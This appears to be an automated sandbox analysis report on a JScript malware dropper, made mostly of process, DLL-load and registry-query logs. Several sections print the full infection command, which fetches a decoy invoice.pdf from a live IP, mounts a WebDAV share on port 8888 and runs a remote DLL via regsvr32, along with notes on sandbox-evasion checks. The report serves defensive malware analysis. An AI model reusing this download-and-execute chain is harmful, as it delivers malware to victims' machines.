Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\318.js.csv");ITextStream.WriteLine(" entry:8143 f:trxwigco");ITextStream.WriteLine(" exec:2 f:trxwigco");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3598			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6256			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 3598 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 6256 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7924	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2292	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.2716214929.0000011FDC82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW02
Source: net.exe, 00000007.00000002.1478920490.000002B9B8118000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478920490.000002B9B817D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2716214929.0000011FDC82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2717662794.0000011FE1E54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
